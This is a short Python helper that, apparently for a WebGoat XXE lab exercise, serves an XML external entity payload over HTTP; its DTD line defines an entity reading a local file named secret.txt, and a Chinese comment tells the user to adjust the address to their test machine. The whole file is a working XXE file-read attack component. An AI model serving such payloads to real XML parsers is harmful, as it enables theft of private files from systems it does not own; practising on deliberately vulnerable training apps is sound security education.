#!/usr/bin/env python
# -*- coding:utf-8 -*-
from http.server import BaseHTTPRequestHandler
import yaml
import os
def xxefile(httpserver:BaseHTTPRequestHandler,params):
    xmlv = '<?xml version="1.0" encoding="UTF-8"?>'
    #这里的地址需要修改成你测试机器的实际地址
    dtd = '<!ENTITY secret SYSTEM "file:///C:/Users/spig/.webgoat-v8.1.0/XXE/secret.txt">'
    crlf = "\r\n"

    xxe = xmlv + crlf + dtd
    httpserver.send_file_success(xxe)
